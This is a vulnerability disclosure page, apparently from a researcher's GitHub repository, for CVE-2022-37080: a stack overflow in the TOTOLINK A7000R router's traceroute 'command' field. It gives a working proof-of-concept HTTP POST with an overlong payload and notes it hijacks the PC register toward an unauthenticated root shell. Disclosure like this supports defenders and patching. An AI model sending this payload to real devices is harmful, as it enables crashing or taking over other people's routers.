CVE-2022-37080: vuln/TOTOLINK/A7000R/8 at main · Darry-lang1/vuln

TOTOLink A7000R V9.1.0u.6115_B20201022 has a stack overflow vulnerability****Overview

• Manufacturer’s website information：https://www.totolink.net/
• Firmware download address ： https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/171/ids/36.html

Product Information

TOTOLink A7000R V9.1.0u.6115_B20201022 router, the latest version of simulation overview：

Vulnerability details

Var is formatted into V6 through sprintf function, and Var is the value of command we enter. The size of the format string is not limited, resulting in stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

   POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 561 Origin: http://192.168.0.1 DNT: 1 Connection: close Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache

   {"topicurl": "setting/setTracerouteCfg","command": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.